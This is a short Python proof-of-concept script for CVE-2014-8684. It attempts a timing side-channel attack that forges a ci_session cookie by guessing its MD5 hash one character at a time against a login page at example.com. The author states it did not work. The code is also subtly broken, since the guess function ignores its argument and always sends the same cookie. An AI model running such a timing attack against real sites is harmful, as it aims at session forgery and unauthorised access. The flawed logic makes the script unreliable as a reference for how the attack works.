attempt at poc for CVE-2014-8684. It did not work

CVE-2014-8684.py

# CVE-2014-8684 testing
# it was not successful on my target so did not do work past the bare testing stage
# network variance was more than the timing difference in length

import requests
import time

# Can't use elapsed from requests as it stops as soon as first byte of response is received not when response is complete

r = requests.get("https://example.com/login")
valid_cookie = r.cookies['ci_session']
valid_hash = valid_cookie[-32:]
obj = valid_cookie[:-32]
empty_hash = '0'*32
jar = r.cookies

print(f"Actual md5: {valid_hash}")
chars = "abcdef0123456789"

def guess(hash):
	jar.set('ci_session', f"{obj}{valid_hash[:31]}0", domain='example.com', path='/')
	total = 0
	attempts = 100
	for i in range(attempts):
		start = time.time()
		r = requests.get("https://example.com/login", cookies=jar)
		end = time.time()
		total+=end-start
	print(f"{hash} : {total/attempts}")
	return total/attempts

leader = 0
answer = "00"
for i in chars:
	for j in chars:
		result = guess(f"{i}{j}{'0'*30}")
		if result>leader:
			leader=result
			answer = f"{i}{j}"

print(answer)